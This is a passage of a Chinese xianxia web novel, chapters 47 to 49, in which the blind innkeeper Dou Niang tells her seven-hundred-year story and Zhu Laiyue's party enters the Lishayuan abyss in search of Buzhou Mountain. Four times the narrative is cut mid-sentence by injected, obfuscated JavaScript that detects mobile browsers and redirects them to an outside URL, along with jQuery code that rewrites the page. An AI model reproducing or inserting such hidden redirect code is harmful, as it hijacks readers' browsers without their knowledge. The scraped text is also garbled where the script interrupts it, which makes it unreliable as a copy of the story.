“正如江湖中人所猜测的那般,我是七百年前便活着的人。”
祝来月自然早就知道了这个秘密,所以并不意外,倒是有种猜测被印证后的释然。
“这七百余年,我有过几个挚交好友,她、她们无一例外地先后离开了人世。”窦娘垂眸,唇角却扯出一丝微笑,“其实我极少同人交心。”
世人求长生,长生难,而做唯一一个长生之人,更难。
祝来月有些动容。
她无法想象眼前这位双目失明的酒楼掌柜究竟面对了几次痛彻心扉的死别,才换来如今平静的心境。
她忽然想到若是有一日,她的寿命也没了尽头,届时看着一个个亲近之人在自己眼前离去,这实在不是一种好的人生经历。
至少她不想经历这些。
祝来月觉得提起一个人的伤心事实在不太好:“窦娘若是不愿再说,我便不再问了。”
“其实那么些年都过去了,若是再没一个人可以诉说,恐怕连我都要忘了那些事。”窦娘的态度显得十分释然。
“那,窦娘可认识那位剑侠?”
经过一番思想斗争,祝来月终于问出了这个早就想问的问题。
“认得。”
“窦娘不问我指的是何人吗?”
天下剑侠没有一千也有一百个了,但窦娘回答地如此迅速,俨然是与那位剑侠太熟悉了。
“在我眼中,普天之下唯有她称得上剑侠二字。”
祝来月没想到能从向来平和、谦逊的窦娘口中能听到如此狂放、堪称傲慢的话来。
剑侠,剑之意,侠之骨,缺一不可。
祝来月虽不认同她的话,却也不免因她话语中流露的憧憬,而对那个七百年前英年早逝的剑侠心神往之。
“你与戚大侠是如何相识的?”
“机缘巧合罢了。她常来花间的事在江湖中本该是个秘密,她离开后,这个秘密反倒不胫而走。”
“所以如今凡是名门正派,皆在暗中庇护花间楼,是出于对前辈的敬仰么?”
“大抵是祝姑娘所说的这样。”
祝来月没再深究她与戚少雁之间的关系,想来,戚少雁此人在那个时代,无论是谁的心中,她都会是一个极为特殊的存在。
她沉默半晌,才从腰间取下残片,将其递给窦娘,供她抚摸辨别。
“窦娘可认得此物?”
残片如今只差很小的一部分便得以完整,它摸上去的质感也不同于其它的木制饰物,仅仅只需触碰一点,便可感受到从中传来的沁人肺腑的温暖。
窦娘接过残片的那一瞬间便露出了微笑,“果然如此。”
“果然?”祝来月不解道。
“是的,七百年来,我一直在等待着一个人的出现。现在我终于等到了。”
“这最后一部分的残片,果然在你的身上吗?”
窦娘又将残片递回给她,接着从衣袖中取出了准备多时,最后一块残片,将它置于桌上。
“从见到你的那一刻起,我就知道一定会有这一天。”窦娘说着,将桌子上的残片往祝来月的方向推去,“现在物归原主了。”
“窦娘是从何处得到的?”祝来月手下残片,并不急于融合,而是询问窦娘关于它的一切。
“若是我说,这是一位神赠予我的,祝姑娘是否会觉得我糊涂了?”
窦娘提到“神”这个字眼时,祝来月不禁屏住了呼吸。
“窦娘可否细说?”
“我祖籍并非荣州人士,而是中原一带。那里如今已成一片荒芜了。二十五岁那年,因我迟迟不愿定亲,家中总是劝我,我听得烦闷,便常溜出家门。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943257|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“有一日,我从外边归家,夜里总是辗转难眠,双目如同火燎般刺痛。痛得神志恍惚了许久,再清醒时,家中已被一场大火烧成灰烬。”
说到此处,窦娘的眉头紧锁,像是极不愿意回忆这些事一般。
“细节处我已经忘了许多了,只记得那时我一心寻死,忽然出现了一位面目温柔的仙子似的人,她阻止了我自尽,给了我这一片残片。但代价是我的双眼和此后的人生。”
“她将我送来荣州,告诉我,此地位于一条极鼎盛的灵脉之髓部,此后我只能在荣州生活。”
“为什么是眼睛?你的家人……”祝来月犹豫着问道。
“那位神告诉我,我的眼睛是被一只凶兽的双目夺去,它将戾气所化的眼睛放入我的体内,控制了我的举止。所以我的亲人,其实……全部死于我手。”
“不,怎么会是因为你?是凶兽做的。”祝来月立刻反驳了她的想法,并且安慰道:“此事绝不是你的错,窦娘何必自责?”
窦娘看向她,若非双目失明,她还真想看看眼前这个女子的模样,“曾经也有一个人,与你有着同样的反应。”她的语气中带了些许怀念。
“那人一定对你很重要。”
“是的,她是我这一生最重要的人。”
窦娘又接着说道:“想必祝姑娘也已经明白那只凶兽是什么了。那位神用残片,并配合荣州城鼎盛的灵气,封住了我体内凶兽之眼,我虽失明,却有了平静的七百年生命。”
“我现在取走它,你岂非……”
得知残片对于窦娘的重要性之后,祝来月又犹豫不决,不知究竟该不该收下它了。
“祝姑娘何必替我忧心?若是有朝一日,凶兽被彻底诛灭,我自然也就自由了。”
“也就是说,只要我消灭了凶兽,你就不必再受凶兽之眼所扰?”
“不错,祝姑娘不妨大胆去试,我总是还能再撑些时日的。”
得到这个答复之后,祝来月才算彻底放下心来,将最后一块残片收入囊中。
“窦娘为我之友,且信得过我,我自然不会让你失望的。”祝来月坚定地说道。
“我自然相信祝姑娘,你是它的主人,七百年前,你就给过我一条命了。”窦娘微微笑着,她停顿片刻,又说道:“其实,我还有一事相求。”
“窦娘但说无妨。”
“祝姑娘可认识聂家最新一代的传人,聂琴机?”
祝来月似是没想到她会突然提到聂琴机,意外地说了句:“算是有一面之缘,窦娘怎么突然提她?”
“我听闻万医之首、玲珑城聂家的大小姐是一位绝世天才,年仅十岁时便学会了世上顶尖的灵愈之术月中骞,可活死人、肉白骨。”
“窦娘真信世上有什么起死回生之术么?”祝来月忽然明白她在盘算些什么了。
谁知下一秒,窦娘所说的话却彻底推翻了她的猜测。
“我不认为人死可以复生。”
“那你为何……”
“可若是没死呢?”窦娘打断了她的话,反问道。
接下去,从窦娘口中说出的那句话,令祝来月瞳孔骤缩。
“戚少雁还活着。”
47. 狐狸
戾杀渊,位于中原一带。
在那位传奇般的剑侠一剑斩出这片深渊之前,此地曾经是一片一望无际的湖。
戾杀之名,得于七百年前。此地封印着一只极恶之兽,作乱天下,身上萦绕着无尽的杀意与戾气。
在抵达戾杀渊的前夜,祝来月同一行人在附近的小村歇下。
诚然,戾杀渊附近方圆百里之内,已经鲜有人迹。
这是他们寻找到的唯一一个还能住人的荒芜村落。
村内几乎没什么村民了,掰着手指都能数过来的人数。但这里似乎曾经也住过许多人,所以有不少空屋子。
才走进这间破败的屋子不久,摇摇欲坠的屋檐上便落了不少灰尘在众人身上,祝来月拂去身上尘土,道:
“此处虽然破败些,总比夜宿山林要好。”
若是别处,祝来月并不觉得夜间在山野中歇下有什么问题,毕竟这一行人中没有一个是吃素的。
但戾杀渊附近的山林不同于人界其它地方,受戾杀的影响,附近林中夜里的妖兽总是不会安分的。
一想到明日要面对的一切,众人唯有尽可能地留存身上的灵力。
这也许是他们最后一个夜晚。
羿修找到一把覆盖了厚厚的一层灰的竹椅,用衣袖擦拭了一番,有些小心地坐了上去。竹椅传来“吱呀”一声,但总算还能坐稳。
“诶,此行艰险,你那妹妹就没吵着要跟来保护你?”他问祝来月。
“依璃儿的性子,自然是要闹的,但此事不同于寻常。”祝来月回答道,“好在景大侠以大局为重,愿意帮我这个忙。”
那日离开荣州之后,她陪同贺今羽回了趟灵霄宗,还特意叮嘱他绝不可向璃儿提起那晚她对他说的事。
为的就是不让璃儿操心。
临行前夕,她给璃儿下了些昏睡之药,又特意拜托景怀卿多加照看,免得她一时冲动跟了来。
羿修坐在竹椅上不过几个呼吸,便极不安分地支起了二郎腿,右脚横在左膝之上,故作深沉地长叹一声:“唉——天底下做姐姐的果然皆是一条心。”
他说这话时,眼神却飘向了聂琴机的方向。
此行总共五人,分别是:祝来月、贺今羽、邱水怜、聂琴机与羿修。
聂琴机摇摇头,“小缘向来听话。”
羿修连忙反驳:“琴机姐姐,你是不是弄错人了?我们说的是一个聂棋缘吗?”
其实聂琴机并不比羿修大多少,算上在诸夭之野错过的人界两年,也不过二十三岁,比羿修只大一个多月,比贺今羽倒是大上两岁。
但羿修不知从何时起,竟然一直称呼她为琴机姐姐。
琴机轻咳几声,像是旧疾犯了,并不接话。
羿修猛地从竹椅上站起,关切地看着她。
“聂姑娘身子素来不好,其实何苦再同我们一道来戾杀渊?”祝来月皱眉。
“正是如此,我还劝她呢。”
接话的倒不是聂琴机,却是羿修。
“戾杀渊凶险,若是聂家之人连一个能出力的都没有,怎么担得起这万医之首的荣誉?”聂琴机说道,“何况,我亦是有私心的。”
“私心?”祝来月问。
“不知祝姑娘可曾听说戾杀渊之内生长着一种草药,可医万疾?”
“什么草药?”祝来月自诩在奇珍异宝上的了解还算丰富,却从未听过这种草药。
聂琴机起先没有回答,眼睛却流露出憧憬。
她又说道:“其实这不过是一个传闻罢了,世上哪有这样奇效之药?只不过……”
只不过她久病多年,这从娘胎里带出来的病根,是几乎没可能痊愈了。只能寄希望于这些虚无缥缈之物。
这时,忽然从外头走进来两个干瘦的人,一女一男,年纪都有些大了,衣衫褴褛。
若不是此前在这座小村中曾见过这二人,恐怕他们会以为是不知何处来的乞丐吧。
男人手上抱着一大堆干草,进来后便往地下摆。女人则是抱着两床褥子。
“诸位大侠,家中只有这些了,还请不要嫌弃才好。”女人说着,便要将手中的褥子递给他们。
羿修首先接过来褥子,从这两床单薄的褥子中扑面而来的是一股发霉的气味,羿修在褥子后皱了皱眉,尽量掩下这种不适,避免在热心的村民面前表现出来。
“谢谢姨!”羿修乐呵地说道。
女人被模样本就俊朗的羿修逗得也咧开嘴笑,“大侠真是客气了,这么多年都没有人涉足此地,你们来了,我们也算有了盼头!”
“姨,除魔卫道本就是我们修仙者的本分。”羿修仍旧面容爽朗。
他作为五个人中唯一一个自来熟的人,和两个村民唠了会家常后,一见如故,非要送他们回家才行。
两位村民自然不敢麻烦他,连连摆手便离开了旧屋。
羿修也不强求,和伙伴们一同将干草铺好,拾掇好褥子,天色已然不早了。
他们分别睡下。此行将就,这一行人除了邱水怜之外皆是富贵出身,但却没有一个人抱怨条件艰苦。
夜里,祝来月辗转反侧,总是难以入眠。
于是不禁想起离开荣州城前夕,在和窦娘叙完之后,出了花间楼,想去寻贺今羽,反倒迎面碰上了绮罗。
绮罗那会就斜倚在河边的一棵垂满了柳条的青翠柳树枝干上,祝来月起初没有发现她的存在,还是绮罗幽幽地开口:
“好朋友,你怎么不理我?”
祝来月循声抬头,这才看到那只漂亮的赤色狐狸。
祝来月有些惊喜地呼唤道:“绮罗,你果然在荣州。”
“是啊,我一直在等你。”绮罗笑眯眯地说道,那只狐狸眼睛弯弯的,却不显得狡诈。
绮罗从树干上一跃而下,自半空中,她从赤狐变成了人形,借着皎皎的明月光照,祝来月发觉她的模样半点儿都没变。
“绮罗,我想我大抵明白一些你的感受了。”
绮罗笑了笑,只是说:“明白什么?罢了罢了,都是些过往云烟,你既然回到荣州,想必已经明白了许多事了。那么,你可还有什么问题想要问我吗?”
“那年你去灵霄宗盗剑,其实是盘算好了一切,是吗?”
“你真聪明。”绮罗没有掩饰之意,只是微笑道。
“你早就知道我的身份,你也知道我在人界没有灵力,所以替我寻来了如今江湖中修为最高之人,放在我身边护佑我。”
“怎么样?我挑的人还不错吧?神女大人可还满意?”绮罗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947181|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又眯起眼睛笑,只有这种时候,祝来月才会觉得她就是个狐狸。
祝来月被她戏谑的语气逗得也笑了起来,之前的严肃气息一扫而空。
疑问大都解决了,唯有一件事,她还想再问绮罗。
“去冥界的方法,是不是凤鸟她们告诉你的?”
“是啊,她们教我方法,自然也有条件。她们给了我那片残片,叫我帮一个人,也就是你。”
“既然你费尽心思找到了他的转世,为何两年前却选择了放手呢?”祝来月不解她的用意。
“我记得两年之前,你并没有问我这个问题,怎么两年之后你反倒看不开了?”
祝来月只是回答道:“我从未看开过此事,只是两年前,我不愿意干涉他人的决定,如今我似乎变了许多。”
她不知道这种改变对于自己来说是好是坏,只是默默地接受了这种变化。
“那少城主这两年来可是常常梦见你的,你何不圆了他的梦,这亦是你的愿望,对吗?”祝来月说道。
她们走在寂静的街道上,同两年前几乎一模一样。
“我只是还未曾想明白,他究竟还是不是羿无痕……”绮罗忽然有些笑不出来了。
毕竟祝来月未曾追逐过谁的转世,给不了她任何参考性的建议,只好默默地祝福她,无论最终是否选择康行渡,都一定要幸福下去。
其实绮罗也一直在害怕着,害怕自己仍旧那么迟钝,想着想着,便又错过了一世。
她不认为自己还有什么精力再去冥界一趟了,那可是要狐狸命的。
回忆到这里,祝来月无声地叹息了一下,也许此后再也见不到那只狐狸了,也不会知道她之后是不是开心。
其实再一想,这一路上遇到的妖怪大多都是有情有义之辈。
止吴山的卫平牺牲自己只为救一个没有血缘的养母,纵然方法愚钝,其心却诚。
荣州城的赤衣百戏班自不消说,班主绮罗和祝来月已算得上知己,尽管不过几面之缘,她却能感受到那一群人与妖之间不可割舍的亲人般的羁绊。
流织谷的子夜虽酿下大过,但原因却也称得上可悲可叹。
祝来月忽然觉得这样的人生已经算不上短暂了,她已经见识过太多事物,这短短的十余年人生实在算得上精彩。
但若是说起遗憾,祝来月自然还是有一些的。
比方说璃儿,她一直想着有朝一日璃儿的名声、荣耀能响彻江湖,比起她那两个厉害的师兄还要更厉害。
又比方说贺今羽,上巳节那日鬼使神差地收下他的芍药,却仍然不知该如何面对他的感情。
就这样想着想着,她躺在干草铺着的榻上,身上盖着薄薄的褥子,渐渐地睡了过去。
在梦里,她梦见了许多熟悉的、陌生的人。
有娘、爹,也有璃儿,还有绮罗、聂棋缘等一些朋友们。
自然也有贺今羽。
不知怎么的,她甚至梦到一些神界的回忆,只不过那时她更像一个旁观者,看着句芒与其他神的交谈来往。
尽管不认识那些神,她却分别知道他们的名字。
其中,与句芒最为熟捻的是一个赤红色头发、如同火焰一般燃烧的神。
在梦中,春神句芒叫他祝融。
48. 戾杀
第二日所有人都起得很早,这也很正常,首先他们都是修仙之人,早已习惯了早起。
再者,接下去要面对的情况,即使再神经大条,也很难睡得踏实。
在此次行程开始之前,他们就已经议定了几乎全部事项:他们的唯一目的就是将祝来月带到封印凶兽之地,剩余的全权交给她处理就好。
“此行凶险,万事皆以自身安危为重,其余之事不必过于强求。”
祝来月在这间破旧的屋子里和大家最后说了句叮嘱,才收拾着一同上了路。
四人无一不是一大江湖势力中的接班人身份,其实大可不必豁出性命来冒险,若是夭折在戾杀渊,家族势力也会因此受到严重的打击。
就像七百年前那样,严重者甚至已经退出了江湖的舞台。
但这四人也都出奇地坚持要来戾杀渊。
聂琴机和羿修会来,祝来月是不大意外的。
聂家家中棋缘和书巧能力不足,画合更不必说,年岁太小。唯有琴机能撑起局面,虽然她对聂琴机还不算太了解,但她凭着对棋缘的了解,大抵也能猜出几分聂家人皆有的风骨。
羿修嘛,稍微认识他一点的人都不会怀疑这个问题,震云派那群人巴不得前仆后继地出力。
贺今羽……他是祝来月即使想拦也拦不住的固执之人。何况祝来月并没有拦他。
四个人当中,祝来月最不熟悉的恐怕就是邱水怜了。
即使邱水怜曾经算是救过她一命。
对于邱水怜的记忆,大多出自璃儿和聂棋缘的描述,只知道琼心门之人大多冷心冷情,邱水怜作为圣女,更是其中最难以相处之人。
听说那日为求她出手,璃儿和贺今羽差点豁出性命。但这一点究竟如何,祝来月并不十分确定。她猜测大约是聂棋缘的夸张之词。
而今,邱水怜愿意离开避世之地琼心门,参加这次行动,实在很让祝来月意外,并且更加怀疑当初聂棋缘所描述的内容了。
但这一路上来,确实极少见她开口,真像是个没什么感情的人偶。
小村距离戾杀渊已经不远,曾经更近些的地方还有一些灵霄宗与震云派的弟子专门看守。
又因这两年来,戾杀渊内的封印波动愈加频繁、强烈,为了保证弟子们的安全,灵霄宗与震云派不约而同地撤回了这些守卫。
为了节省时间和灵力,他们使用了一件灵器,由灵霄宗提供,可承载十人,行进速度远胜马车,略次于贺今羽这个水平的剑修御剑的最快速度。
这实在已是极快了,这样好的灵器极少能被拿出来使用。它的长相酷似马车,除了没有拉车之物,全靠催动灵玉,将源源不断的灵气注入其中,即可行驶。
“早就想说了,你们灵霄宗有这样的好东西,怎么上回救聂姑娘她们没舍得用?”羿修大剌剌地坐在车内,问道。
贺今羽显然并不想搭理他,直接无视了他的问题。
还是祝来月替他说了句:“催动此物要耗费大量灵玉,实在奢侈至极。”
借着灵器,几人不出半日就到达了戾杀渊外围,果然不出祝来月的预期,此地荒芜苍凉,半点生灵都看不见,妖气与戾气却肆意弥漫。
出发前在灵霄宗那两日,祝来月也没闲着,除了陪璃儿,她就在无涯阁内研究戾杀渊的全部记载。
是的,正是那个不允许外人进入的无涯阁。
不知贺今羽和景怀卿他们是怎么向宗主解释全部的来龙去脉的,总之最后那个不近人情的贺仞是松了口,允许她进去了。
只不过,全程皆有贺今羽在旁看守。
这对于祝来月来说倒是没有半点不便的。
“戾杀渊附近的气候极端,时而炽热时而冰冷,且不是体内灵力可以抵御的。想必诸位皆已经备好了应急的衣物吧?”
走在戾杀渊外围时,祝来月一边同他们小心前进,一边叮嘱道。
众人应过之后,羿修忽然说道:“这种荒芜之地,真会有什么危险吗?唯一的危险就是那只即将破封而出的凶兽吧?”
“震云派真是一代不如一代了,这样孤陋寡闻,便是活着从这里出去,恐怕也没那个本事渡劫成仙吧?”一向沉默着的邱水怜忽然冷笑着开口。
“你什么意思?”羿修也不是个好惹的,更没有别人说了他他还忍着的习惯。
谁知邱水怜听了之后只是冷哼一声,并不理会他。
“才方开始,你们倒争起来了,算什么?”就连祝来月一直以为秉持着“医者仁心”的聂琴机也蹙眉跟着埋怨。
她忽然觉得事情很不对劲,于是悄悄靠近了贺今羽,耳语道:“你有没有觉着此地甚是怪异?”
贺今羽只是点头。
祝来月便接着说出了她的看法:“我在无涯阁内翻阅藏书时,曾看到一些关于戾杀渊的事,不知是否与此有关。”
她认真回忆了那些书里的内容。首先,戾杀渊没有一个人活着走出去过,即使曾经在此地看守的灵霄宗弟子也至多只是在外围转悠。
所以许多关于戾杀渊的记载大多出于一些推断,甚至没有实证。
但关于外围的描写中,有一段的内容让祝来月此刻很是在意。
“受戾气的影响,在此地的生灵容易出现易怒、好杀的表现。”她对贺今羽继续小声说道。
“既是影响心力,怎么邱水怜还会有这种反应?”
“也许她只是单纯受不了羿修了。”祝来月默默猜测道。
如果是这样倒还可以理解,毕竟震云派那伙人手比脑快也不是一朝一夕了。聂琴机修医道,对心力自然不大注重。
而贺今羽暂时无恙,正是因为天下之人,凡是剑修,必定比旁人心力更加强悍,何况是贺今羽。
就在两人说悄悄话的同时,羿修那边就差打起来了,好在邱水怜虽然嘴上不饶人,但行为还是冷静的。
“不是说琼心门之人不问世事吗?这么关心我们震云派的家务做什么?”
“呵呵。”邱水怜冷笑。
“你笑个什么?有话大大方方说出来,我最烦的就是拐弯抹角,和灵霄宗的人似的。”
“呵呵。”邱水怜继续冷笑。
“羿修!”聂琴机气得闭起了双眼,双拳攥紧,若不是心中还有一丝理智,告诉她伤人无益,恐怕那双拳头下一秒就要挥了上去吧。
眼看着情势
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951954|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愈发糟糕,祝来月别无他法,只好心一横,用匕首往掌心一划,血液迅速地冒出来,她机敏地用灵力将血液凝成小珠,再飞快地往几人嘴里送去。
尽管血腥味难以下咽,眼下也只有这一个办法能够避免许多麻烦。
好在这个方法也算是奏效了。
一行人都冷静了下来,保险起见,她也给贺今羽喂了一点。
不管怎样,最重要的事情不能为这些小事耽搁。
一切就绪之后,他们继续前进。只不过气氛显然变得有些古怪了。
如果仅仅是这些影响心力的手段,那么戾杀渊还不算什么大不了的地方,目前看来,危险程度远远不及灵霄宗的风摇尽。
才走没多久,天地之间忽然变得冰冷刺骨,天空也忽然黑压压的,像是要下一阵大暴雨似的。
几人迅速穿好御寒的衣物后,才发觉胸膛之处压抑得很是难受,隐约有股喘不上气的感觉。
妖气霎时间变得极为浓烈起来。
他们第一时间便察觉到了这一点,准备着迎战。
并且还将目前没有战斗力量的祝来月和聂琴机围了起来,防止敌人偷袭。
可过了一炷香之后,仍然不见敌手的踪影,妖气却越来越浓郁,几乎近在咫尺了。
难道戾杀渊有什么妖物是可以隐形的不成?
祝来月仔细回想那些典籍的记载,急切到甚至开始拽着自己的发丝思考。
终于,她在茫茫记忆中找到了那一点内容,于是激动地喊了出声:
“虚影之妖!在……在恐惧时即会现形!”
但她终究还是说得晚了些,虚影比她快上一个呼吸,也仅仅就是这一个呼吸,虚影将羿修贯穿,他的左肩瞬间出现一个半拳大小的血洞。
若不是羿修反应还算迅捷,被贯穿的恐怕就不只是左肩了。
他感受到伤口处传来的剧痛,右手手掌下意识地覆盖在血洞之上,面目狰狞,额头上瞬间滴下许多冷汗。他吃痛地一只腿半跪在地上。
“羿修!”聂琴机皱眉,迅速走到他身后。
“今羽,你和圣女一同掩护聂姑娘救治羿修,我自己小心。”祝来月第一时间对贺今羽说道。
而反应同样敏捷的是圣女大人邱水怜,只见她冷静、面容严肃地说……不,应该是命令。她用命令般的口吻对所有人说道:“闭眼,护心神。”
不知为何,她的命令像是具有魔力一般,使得在场所有人都乖乖听话了。
而聂琴机在护住心神和闭眼的同时,还分出精力将手搭在羿修的后背上,为他治伤。
未出多久,贺今羽听见那位圣女大人再次发号施令,只不过是对贺今羽一个人的:“正前方七步,杀。”
贺今羽瞬间睁开眼睛,看见那只拥有隐身妖力的虚影之妖,它看上去萎蕤可怜,让人看了甚至不忍心杀它。
但很可惜,它遇上的是贺今羽。
白羽剑从来不会废话,正如它的主人一样。
只见剑光一闪,贺今羽贯彻了他以往的行剑风格——以最快速度解决对手。
虚影之妖被那剑意锁定的那一瞬间,就避无可避。
亡。
49. 不周
结束之后,一行人皆对邱水怜心服口服,哪怕是刚刚一直不对付的羿修。
只因这虚影之妖,最难对付之处便是它的隐形之法,唯有一解,便是令它恐惧。
祝来月多少了解一些虚影之妖的本性,所以知道这是怎样一件难事。
最难的这部分,让邱水怜在短时间内迅速解决,且不说她用了什么样的心术使得虚影之妖产生恐惧、暴露原身。
仅仅是她在听到祝来月说出虚影之妖唯一的弱点后,那临危不惧、处变不惊的态度便可以看出她在江湖这些年所学会的事,是多么令人敬佩。
羿修不是个会记仇的主儿,而且他敬佩强者。于是他捂着伤口,对邱水怜说:“邱圣女还真有些本事,小辈得多向你学习。”
诚然,在这一行人当中,邱水怜是当之无愧的前辈。
毕竟她连争鸣大会都和他们参加的不是同一届的。
“还捂着伤口做什么?”聂琴机用手背拂去额上的细汗,脸色比起平时更加苍白,在说完后紧接着又咳了好几声。
听到这话,羿修果然不再捂着那个原本被贯穿的伤口,而是看向聂琴机,问道:“身上带的药呢?”
聂琴机生有弱疾,虽不危及性命,但也常常一副病态苍白。聂家家主聂娴亲自调配了药,日日喝着才算能够捱过病痛。
但聂琴机其实不大愿意吃。
无关于什么“药苦”之类的小孩子气的问题,只是作为医者,自然明白是药三分毒的道理。
于是聂琴机每日皆要严格控制自己的服药量。
对此,羿修并不理解,他一向认为这药配出来就该是让人吃的,既然不舒服,怎么能强撑着?
聂琴机坚持自己的原则,只是摆手说无妨。
“你的伤我已经治好了,所幸处理迅速,省了不少灵力。”她转移羿修的视线,说道。
他闻言看去,左肩处的贯穿伤果然已经生出肉来,愈合上了。
“原来这就是月中骞的力量。”羿修不由得用手去摸那块新长的皮肉,感叹道。
这也是祝来月起先邀请聂琴机加入此次行动最重要的原因。
从前只是听说这月中骞如何如何厉害,如何活死人、肉白骨的,今日一见,果然不是吹嘘之言。
有了聂琴机这个厉害的庇佑,此次行程的安危也算有了极大的保障。
“接下去我们还要更小心才是,此地无论发生任何事皆有可能。尽管我研究了戾杀渊的几乎全部古籍,也不敢对此地妄下定论。”
祝来月对着众人说道。
“祝姑娘你就放心吧,我们一定把你安全送到封印之地。”羿修咧着嘴笑,仿佛刚才被虚影之妖痛击的人不是他一样。
真是好了伤疤便忘了疼。聂琴机无奈地叹息。
“我们继续前进吧。”祝来月右手指着天空,众人看见前方不远处有一片深渊,而深渊正上方的天空中有着一片极为壮观的阵法图。
此阵玄妙精巧,哪怕是外行人都能看出它一定是一个极其厉害的阵法。
但现在望去,却能明显看出这座阵法的阵纹开始变得混沌模糊,似是马上就要彻底崩溃似的。
“时间不多了。”
祝来月一边说着,一边加快了步伐,其余几人迅速跟上。
在他们三步并作两步的赶路状态中,很快就抵达了那传说一般的一剑深渊的边上。
这道深渊比祝来月想象得要宽敞一些,本以为会是一个裂缝一般狭窄的空间。
结果如今看来,这道裂缝不仅极长,宽度也不差。容纳下他们五个人简直是绰绰有余。
根据神鸟之言,这戾杀渊原本是一片无垠之湖,脚下却没有半点湖的踪迹。
想是时间已然过去太久了吧。
“找湖。”她说。
“找湖?”贺今羽问道。
这里土地干涸,地表上有着数不清的干裂痕迹。
“是的,找湖。只有找到湖,我们才可以找到封印之地。”
祝来月斩钉截铁般说道。
这里不仅仅是封印凶兽的戾杀渊,更是千年前还存在于世的神界入口——不周山。
当她把这一点同众人说清楚之后,所有人都显然愣住了,他们甚至觉得祝来月是在开玩笑。
其一,不周山是否真实存在,仍旧是个疑云。
其二,此地就算是千年之前,也不曾有过什么山,何况是不周山这样的通天之山。
故此,他们觉得这个说法实在太过荒唐。
说实在的,就是祝来月在出发前和他们说的什么春神句芒一事,也很荒唐。
但那好歹有些佐证,祝来月也不像是会拿别人取乐之人,众人才相信了她的说辞,并决定跟随她。
可此地是不周山?
这是什么天方夜谭?
“并非全无可能。”就在众人无法相信这件事时,邱水怜忽然说道,“若是此地封印的凶兽真如她所说,是两神交战的戾气而生,那么它出现在人界此处一定是有它的原因。”
她停顿了一下,又接着说:“诸位既然是江湖中人,想必是听过不周山传闻的。”
相传,不周山乃是人界唯一通往神界的入口。
自天地分为六界起,它就存在于人界,然数百万年已过,至今却无人曾去往神界,甚至没有一个人找到不周山。
关于不周山的传闻很短,没有人知道这些传闻的真实性。
“但这里千年之前也是一个湖啊,哪来的山?”羿修反驳道,“就算你说有可能,可事实就是这里现在没有山,一千年前也没有。”
贺今羽一直低头沉思,忽然开口说道:“既然是通往神界的入口,想必它定然不是寻常的山。”
他的话无疑给众人增加一些信心。
祝来月点头,虽然她诚然是相信此地就是不周山的,但凤鸟毕竟没有和她说怎样登上不周山,或者怎样找到不周山。
“不错,那日凤鸟只告诉我,找到湖就能找到不周山,其余的她也并不清楚。”
凤鸟与鸾鸟虽有神鸟之名,但毕竟只是依附句芒的神力才存在的伪神。神界的诸多秘辛她们也不清楚,知道的事也只比祝来月多一些。
而且,等待祝来月以身为祭,凝聚全部神力去净化凶兽之刻,凤鸟她们自然会化为神力一部分,同她一起消散在世间的。
在知道此事的同时,祝来月的内心忽然升起了一股莫大的悲哀。
凤、鸾二人的出现,竟然只是为了给句芒铺路,最终能去牺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955515|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
牲。
七百年,她们在诸夭之野做了当地人七百年的信仰。
那些当地人真是人族吗?还是也是神力化作的一部分?他们是不是也同样会跟着消失?
这些祝来月都还没能来得及问过。
只是觉得悲哀。
一个生命从存在起就是为了牺牲,祝来月无法想象凤鸟与鸾鸟真实的想法,难道从来没有想过要逃脱这种宿命吗?
祝来月从回忆中清醒过来,试图让自己不再去想这些没必要的事。
她自己都是一个存在只为了牺牲的人,再分些怜悯给旁人也无用了。
“这湖与山之间有何联系?”聂琴机说道。
众人不禁思忖。
“何必在意那些?”羿修觉得没什么可想的,“找到湖再说咯。”
说完,他就开始了四处张望,可这里无论怎么看都没有湖。
祝来月静静地望着某处出神,贺今羽察觉到,便问她:“怎么了?”
“我在想,这湖会不会在深渊底下?”
祝来月依旧盯着那个方向,贺今羽顺着她的目光望去,才发现她看的正是那一剑留下的巨大裂痕。
“下去看看。”贺今羽对她说道。
